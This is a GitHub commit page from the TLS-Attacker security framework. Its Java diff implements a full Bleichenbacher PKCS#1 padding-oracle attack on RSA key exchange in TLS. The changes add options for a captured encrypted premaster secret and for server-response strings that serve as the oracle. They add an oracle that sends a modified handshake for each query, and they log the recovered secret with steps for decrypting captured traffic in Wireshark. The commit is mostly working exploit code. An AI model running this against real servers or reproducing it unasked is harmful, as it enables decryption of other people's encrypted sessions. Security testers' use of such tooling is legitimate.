Skip to content

Commit 8e8219f

Browse files
authored
Merge pull request #336 from RUB-NDS/bleichenbacherFull
Bleichenbacher full attack
2 parents 2de2abe + 0d34adf commit 8e8219f

File tree

7 files changed

+142
-74
lines changed

7 files changed

+142
-74
lines changed

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/config/BleichenbacherCommandConfig.java

Lines changed: 43 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@
1010

1111
import com.beust.jcommander.Parameter;
1212
import com.beust.jcommander.ParametersDelegate;
13+
import de.rub.nds.tlsattacker.attacks.config.delegate.AttackDelegate;
1314
import de.rub.nds.tlsattacker.core.config.Config;
1415
import de.rub.nds.tlsattacker.core.config.delegate.CiphersuiteDelegate;
1516
import de.rub.nds.tlsattacker.core.config.delegate.ClientDelegate;
@@ -19,6 +20,8 @@
1920
import de.rub.nds.tlsattacker.core.constants.CipherSuite;
2021
import java.util.LinkedList;
2122
import java.util.List;
23+
import org.apache.logging.log4j.Level;
24+
import org.apache.logging.log4j.core.config.Configurator;
2225

2326
/**
2427
*
@@ -36,20 +39,40 @@ public class BleichenbacherCommandConfig extends AttackConfig {
3639
private CiphersuiteDelegate ciphersuiteDelegate;
3740
@ParametersDelegate
3841
private ProtocolVersionDelegate protocolVersionDelegate;
39-
42+
@ParametersDelegate
43+
private AttackDelegate attackDelegate;
44+
@Parameter(names = "-valid_response", description = "Bleichenbacher oracle responds with true if the last server "
45+
+ "message contains this string")
46+
private String validResponseContent;
47+
@Parameter(names = "-invalid_response", description = "Bleichenbacher oracle responds with false if the last server "
48+
+ "message contains this string")
49+
private String invalidResponseContent;
50+
@Parameter(names = "-encrypted_premaster_secret", description = "Encrypted premaster secret from the RSA client key "
51+
+ "exchange message. You can retrieve this message from the Wireshark traffic. Find the client key exchange "
52+
+ "message, right click on the \"EncryptedPremaster\" value and copy this value as a Hex Stream.")
53+
private String encryptedPremasterSecret;
4054
@Parameter(names = "-type", description = "Type of the Bleichenbacher Test results in a different number of server test quries")
4155
private Type type = Type.FAST;
56+
@Parameter(names = "-msgPkcsConform", description = "Used by the real Bleichenbacher attack. Indicates whether the original "
57+
+ "message that we are going to decrypt is PKCS#1 conform or not (more precisely, whether it starts with 0x00 0x02.")
58+
private boolean msgPkcsConform = true;
4259

4360
public BleichenbacherCommandConfig(GeneralDelegate delegate) {
4461
super(delegate);
4562
clientDelegate = new ClientDelegate();
4663
hostnameExtensionDelegate = new HostnameExtensionDelegate();
4764
ciphersuiteDelegate = new CiphersuiteDelegate();
4865
protocolVersionDelegate = new ProtocolVersionDelegate();
66+
attackDelegate = new AttackDelegate();
4967
addDelegate(clientDelegate);
5068
addDelegate(hostnameExtensionDelegate);
5169
addDelegate(ciphersuiteDelegate);
5270
addDelegate(protocolVersionDelegate);
71+
addDelegate(attackDelegate);
72+
73+
if (delegate.getLogLevel() != Level.ALL && delegate.getLogLevel() != Level.TRACE) {
74+
Configurator.setAllLevels("de.rub.nds.tlsattacker.core", Level.ERROR);
75+
}
5376
}
5477

5578
public Type getType() {
@@ -79,12 +102,29 @@ public Config createConfig() {
79102

80103
@Override
81104
public boolean isExecuteAttack() {
82-
return false;
105+
return attackDelegate.isExecuteAttack();
83106
}
84107

85-
public enum Type {
86108

109+
public String getValidResponseContent() {
110+
return validResponseContent;
111+
}
112+
113+
public String getInvalidResponseContent() {
114+
return invalidResponseContent;
115+
}
116+
117+
public String getEncryptedPremasterSecret() {
118+
return encryptedPremasterSecret;
119+
}
120+
121+
public boolean isMsgPkcsConform() {
122+
return msgPkcsConform;
123+
}
124+
public enum Type {
125+
87126
FULL,
88127
FAST
89128
}
129+
90130
}

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/config/delegate/AttackDelegate.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,8 @@ public class AttackDelegate extends Delegate {
2121

2222
@Parameter(names = "-executeAttack", description = "If this value is set the Attack is not only Tested, but also executed (WARNING)")
2323
private boolean executeAttack = false;
24+
public AttackDelegate() {
25+
}
2426

2527
public boolean isExecuteAttack() {
2628
return executeAttack;
@@ -30,8 +32,6 @@ public void setExecuteAttack(boolean executeAttack) {
3032
this.executeAttack = executeAttack;
3133
}
3234

33-
public AttackDelegate() {
34-
}
3535

3636
@Override
3737
public void applyDelegate(Config config) throws ConfigurationException {

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/impl/BleichenbacherAttacker.java

Lines changed: 49 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -12,12 +12,15 @@
1212
import de.rub.nds.modifiablevariable.bytearray.ModifiableByteArray;
1313
import de.rub.nds.modifiablevariable.util.ArrayConverter;
1414
import de.rub.nds.tlsattacker.attacks.config.BleichenbacherCommandConfig;
15+
import de.rub.nds.tlsattacker.attacks.pkcs1.Bleichenbacher;
1516
import de.rub.nds.tlsattacker.attacks.pkcs1.PKCS1VectorGenerator;
17+
import de.rub.nds.tlsattacker.attacks.pkcs1.oracles.RealDirectMessagePkcs1Oracle;
1618
import de.rub.nds.tlsattacker.core.config.Config;
1719
import de.rub.nds.tlsattacker.core.constants.AlertDescription;
1820
import de.rub.nds.tlsattacker.core.constants.AlertLevel;
1921
import de.rub.nds.tlsattacker.core.constants.HandshakeMessageType;
2022
import de.rub.nds.tlsattacker.core.constants.ProtocolMessageType;
23+
import de.rub.nds.tlsattacker.core.exceptions.ConfigurationException;
2124
import de.rub.nds.tlsattacker.core.protocol.message.AlertMessage;
2225
import de.rub.nds.tlsattacker.core.protocol.message.ProtocolMessage;
2326
import de.rub.nds.tlsattacker.core.protocol.message.RSAClientKeyExchangeMessage;
@@ -29,7 +32,9 @@
2932
import de.rub.nds.tlsattacker.core.workflow.WorkflowTrace;
3033
import de.rub.nds.tlsattacker.core.workflow.WorkflowTraceUtil;
3134
import de.rub.nds.tlsattacker.core.workflow.factory.WorkflowTraceType;
35+
import java.math.BigInteger;
3236
import java.security.interfaces.RSAPublicKey;
37+
import java.util.Arrays;
3338
import java.util.HashSet;
3439
import java.util.LinkedList;
3540
import java.util.List;
@@ -53,14 +58,56 @@ public BleichenbacherAttacker(BleichenbacherCommandConfig config) {
5358

5459
@Override
5560
public void executeAttack() {
56-
throw new UnsupportedOperationException("Not implemented yet");
61+
if (config.getInvalidResponseContent() == null && config.getValidResponseContent() == null) {
62+
throw new ConfigurationException("You have to set a string contained in the last "
63+
+ "protocol message sent by the server which will indicate whether the PKCS#1 "
64+
+ "message was valid or not. For example, you can set the following parameter: "
65+
+ "-invalid_response BAD_RECORD_MAC");
66+
}
67+
RSAPublicKey publicKey;
68+
Config tlsConfig = config.createConfig();
69+
publicKey = (RSAPublicKey) CertificateFetcher.fetchServerPublicKey(tlsConfig);
70+
if (publicKey == null) {
71+
LOGGER.info("Could not retrieve PublicKey from Server - is the Server running?");
72+
return;
73+
}
74+
LOGGER.info("Fetched the following server public key: " + publicKey);
75+
76+
if (config.getEncryptedPremasterSecret() == null) {
77+
throw new ConfigurationException("You have to set the encrypted premaster secret you are "
78+
+ "going to decrypt");
79+
}
80+
81+
byte[] pms = ArrayConverter.hexStringToByteArray(config.getEncryptedPremasterSecret());
82+
if ((pms.length * 8) != publicKey.getModulus().bitLength()) {
83+
throw new ConfigurationException("The length of the encrypted premaster secret you have "
84+
+ "is not equal to the server public key length. Have you selected the correct value?");
85+
}
86+
87+
RealDirectMessagePkcs1Oracle oracle = new RealDirectMessagePkcs1Oracle(publicKey, tlsConfig,
88+
config.getValidResponseContent(), config.getInvalidResponseContent());
89+
90+
Bleichenbacher attacker = new Bleichenbacher(pms, oracle, config.isMsgPkcsConform());
91+
attacker.attack();
92+
BigInteger solution = attacker.getSolution();
93+
94+
LOGGER.info("Final solution: {}", solution.toString(16));
95+
96+
byte[] pmsResult = solution.toByteArray();
97+
pmsResult = Arrays.copyOfRange(pmsResult, pmsResult.length - 46, pmsResult.length);
98+
String pmsResultString = ArrayConverter.bytesToHexString(pmsResult, false).replace(" ", "");
99+
100+
LOGGER.info("If you have a TLS wireshark trace, you can decrypt it as follows. "
101+
+ "Create a file with the following content and use it as an input into "
102+
+ "wireshark:\n CLIENT_RANDOM <client random> {}", pmsResultString);
103+
57104
}
58105

59106
private ProtocolMessage executeTlsFlow(byte[] encryptedPMS) {
60107
// we are initializing a new connection in every loop step, since most
61108
// of the known servers close the connection after an invalid handshake
62109
State state = new State(config.createConfig());
63-
state.getConfig().setWorkflowTraceType(WorkflowTraceType.FULL);
110+
state.getConfig().setWorkflowTraceType(WorkflowTraceType.HANDSHAKE);
64111
WorkflowExecutor workflowExecutor = WorkflowExecutorFactory.createWorkflowExecutor(state.getConfig()
65112
.getWorkflowExecutorType(), state);
66113
WorkflowTrace trace = state.getWorkflowTrace();

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/pkcs1/Bleichenbacher.java

Lines changed: 8 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,6 @@
1919
*
2020
* @author Christopher Meyer - christopher.meyer@rub.de
2121
* @author Juraj Somorovsky - juraj.somorovsky@rub.de
22-
* @version 0.1
2322
*/
2423
public class Bleichenbacher extends Pkcs1Attack {
2524

@@ -46,7 +45,9 @@ public void attack() throws OracleException {
4645

4746
LOGGER.debug("Step 1: Blinding");
4847
if (this.msgIsPKCS) {
49-
LOGGER.debug("Step skipped --> " + "Message is considered as PKCS compliant.");
48+
LOGGER.info("Step skipped --> " + "Message is considered as PKCS compliant.");
49+
LOGGER.info("Testing the validity of the original message");
50+
oracle.checkPKCSConformity(encryptedMsg);
5051
s0 = BigInteger.ONE;
5152
c0 = new BigInteger(1, encryptedMsg);
5253
m = new Interval[] { new Interval(BigInteger.valueOf(2).multiply(bigB),
@@ -58,17 +59,17 @@ public void attack() throws OracleException {
5859
i++;
5960

6061
while (!solutionFound) {
61-
LOGGER.debug("Step 2: Searching for PKCS conforming messages.");
62+
LOGGER.info("Step 2: Searching for PKCS conforming messages.");
6263
stepTwo(i);
6364

64-
LOGGER.debug("Step 3: Narrowing the set of solutions.");
65+
LOGGER.info("Step 3: Narrowing the set of solutions.");
6566
stepThree(i);
6667

67-
LOGGER.debug("Step 4: Computing the solution.");
68+
LOGGER.info("Step 4: Computing the solution.");
6869
solutionFound = stepFour(i);
6970
i++;
7071

71-
LOGGER.debug("// Total # of queries so far: {}", oracle.getNumberOfQueries());
72+
LOGGER.info("// Total # of queries so far: {}", oracle.getNumberOfQueries());
7273
}
7374
}
7475

@@ -249,7 +250,7 @@ private boolean stepFour(final int i) {
249250
solution = s0.modInverse(publicKey.getModulus());
250251
solution = solution.multiply(m[0].upper).mod(publicKey.getModulus());
251252

252-
LOGGER.debug("====> Solution found!\n {}", ArrayConverter.bytesToHexString(solution.toByteArray()));
253+
LOGGER.info("====> Solution found!\n {}", ArrayConverter.bytesToHexString(solution.toByteArray()));
253254

254255
result = true;
255256
}

Attacks/src/main/java/de/rub/nds/tlsattacker/attacks/pkcs1/oracles/RealDirectMessagePkcs1Oracle.java

Lines changed: 38 additions & 56 deletions
Original file line numberDiff line numberDiff line change
@@ -11,31 +11,19 @@
1111
import de.rub.nds.modifiablevariable.bytearray.ByteArrayModificationFactory;
1212
import de.rub.nds.modifiablevariable.bytearray.ModifiableByteArray;
1313
import de.rub.nds.tlsattacker.core.config.Config;
14+
import de.rub.nds.tlsattacker.core.constants.HandshakeMessageType;
1415
import de.rub.nds.tlsattacker.core.exceptions.WorkflowExecutionException;
15-
import de.rub.nds.tlsattacker.core.protocol.message.AlertMessage;
16-
import de.rub.nds.tlsattacker.core.protocol.message.CertificateMessage;
17-
import de.rub.nds.tlsattacker.core.protocol.message.ChangeCipherSpecMessage;
1816
import de.rub.nds.tlsattacker.core.protocol.message.ProtocolMessage;
1917
import de.rub.nds.tlsattacker.core.protocol.message.RSAClientKeyExchangeMessage;
20-
import de.rub.nds.tlsattacker.core.protocol.message.ServerHelloDoneMessage;
21-
import de.rub.nds.tlsattacker.core.protocol.message.ServerHelloMessage;
2218
import de.rub.nds.tlsattacker.core.state.State;
23-
import de.rub.nds.tlsattacker.core.state.TlsContext;
2419
import de.rub.nds.tlsattacker.core.workflow.WorkflowExecutor;
2520
import de.rub.nds.tlsattacker.core.workflow.WorkflowExecutorFactory;
26-
import de.rub.nds.tlsattacker.core.workflow.action.ReceiveAction;
27-
import de.rub.nds.tlsattacker.core.workflow.action.SendAction;
21+
import de.rub.nds.tlsattacker.core.workflow.WorkflowTrace;
22+
import de.rub.nds.tlsattacker.core.workflow.WorkflowTraceUtil;
2823
import de.rub.nds.tlsattacker.core.workflow.factory.WorkflowTraceType;
2924
import de.rub.nds.tlsattacker.util.MathHelper;
3025
import java.security.PublicKey;
3126
import java.security.interfaces.RSAPublicKey;
32-
import java.util.LinkedList;
33-
import java.util.List;
34-
import org.apache.logging.log4j.Level;
35-
import org.apache.logging.log4j.LogManager;
36-
import org.apache.logging.log4j.core.LoggerContext;
37-
import org.apache.logging.log4j.core.config.Configuration;
38-
import org.apache.logging.log4j.core.config.LoggerConfig;
3927

4028
/**
4129
*
@@ -45,65 +33,59 @@ public class RealDirectMessagePkcs1Oracle extends Pkcs1Oracle {
4533

4634
Config config;
4735

48-
public RealDirectMessagePkcs1Oracle(PublicKey pubKey, Config config) {
36+
private final String validResponseContent;
37+
38+
private final String invalidResponseContent;
39+
40+
public RealDirectMessagePkcs1Oracle(PublicKey pubKey, Config config, String validResponseContent,
41+
String invalidResponseContent) {
4942
this.publicKey = (RSAPublicKey) pubKey;
5043
this.blockSize = MathHelper.intceildiv(publicKey.getModulus().bitLength(), 8);
5144
this.config = config;
52-
this.config.setWorkflowTraceType(WorkflowTraceType.HELLO);
53-
54-
LoggerContext ctx = (LoggerContext) LogManager.getContext(false);
55-
Configuration ctxConfig = ctx.getConfiguration();
56-
LoggerConfig loggerConfig = ctxConfig.getLoggerConfig(LogManager.ROOT_LOGGER_NAME);
57-
loggerConfig.setLevel(Level.INFO);
58-
ctx.updateLoggers();
45+
this.validResponseContent = validResponseContent;
46+
this.invalidResponseContent = invalidResponseContent;
5947
}
6048

6149
@Override
6250
public boolean checkPKCSConformity(final byte[] msg) {
63-
51+
// we are initializing a new connection in every loop step, since most
52+
// of the known servers close the connection after an invalid handshake
6453
State state = new State(config);
65-
TlsContext tlsContext = state.getTlsContext();
66-
WorkflowExecutor workflowExecutor = WorkflowExecutorFactory.createWorkflowExecutor(
67-
config.getWorkflowExecutorType(), state);
54+
state.getConfig().setWorkflowTraceType(WorkflowTraceType.FULL);
55+
WorkflowExecutor workflowExecutor = WorkflowExecutorFactory.createWorkflowExecutor(state.getConfig()
56+
.getWorkflowExecutorType(), state);
57+
WorkflowTrace trace = state.getWorkflowTrace();
6858

69-
List<ProtocolMessage> protocolMessages = new LinkedList<>();
70-
protocolMessages.add(new ServerHelloMessage(config));
71-
protocolMessages.add(new CertificateMessage(config));
72-
protocolMessages.add(new ServerHelloDoneMessage(config));
73-
state.getWorkflowTrace().addTlsAction(new ReceiveAction(protocolMessages));
74-
protocolMessages = new LinkedList<>();
75-
RSAClientKeyExchangeMessage cke = new RSAClientKeyExchangeMessage(config);
76-
protocolMessages.add(cke);
77-
protocolMessages.add(new ChangeCipherSpecMessage(config));
78-
state.getWorkflowTrace().addTlsAction(new SendAction(protocolMessages));
59+
RSAClientKeyExchangeMessage cke = (RSAClientKeyExchangeMessage) WorkflowTraceUtil.getFirstSendMessage(
60+
HandshakeMessageType.CLIENT_KEY_EXCHANGE, trace);
61+
ModifiableByteArray epms = new ModifiableByteArray();
62+
epms.setModification(ByteArrayModificationFactory.explicitValue(msg));
63+
cke.setPublicKey(epms);
7964

80-
protocolMessages = new LinkedList<>();
81-
protocolMessages.add(new AlertMessage(config));
82-
state.getWorkflowTrace().addTlsAction(new ReceiveAction(protocolMessages));
83-
84-
ModifiableByteArray pms = new ModifiableByteArray();
85-
pms.setModification(ByteArrayModificationFactory.explicitValue(msg));
86-
cke.setPublicKey(pms);
87-
88-
if (numberOfQueries % 100 == 0) {
89-
LOGGER.debug("Number of queries so far: {}", numberOfQueries);
65+
numberOfQueries++;
66+
if (numberOfQueries % 1000 == 0) {
67+
LOGGER.info("Number of queries so far: {}", numberOfQueries);
9068
}
9169

92-
boolean valid = true;
70+
boolean conform = false;
9371
try {
9472
workflowExecutor.executeWorkflow();
73+
ProtocolMessage lastMessage = WorkflowTraceUtil.getLastReceivedMessage(trace);
74+
if (lastMessage != null) {
75+
String lastMessageLower = lastMessage.toString().toLowerCase();
76+
if (validResponseContent != null) {
77+
conform = lastMessageLower.contains(validResponseContent.toLowerCase());
78+
} else if (invalidResponseContent != null) {
79+
conform = !lastMessageLower.contains(invalidResponseContent.toLowerCase());
80+
}
81+
}
9582
} catch (WorkflowExecutionException e) {
9683
// TODO implementing the orcale through caught exceptions is not
9784
// smart
98-
valid = false;
99-
e.printStackTrace();
100-
} finally {
101-
numberOfQueries++;
102-
}
103-
if (tlsContext.isReceivedFatalAlert()) {
104-
valid = false;
85+
conform = false;
86+
LOGGER.info(e.getLocalizedMessage(), e);
10587
}
10688

107-
return valid;
89+
return conform;
10890
}
10991
}

0 commit comments

Comments
 (0)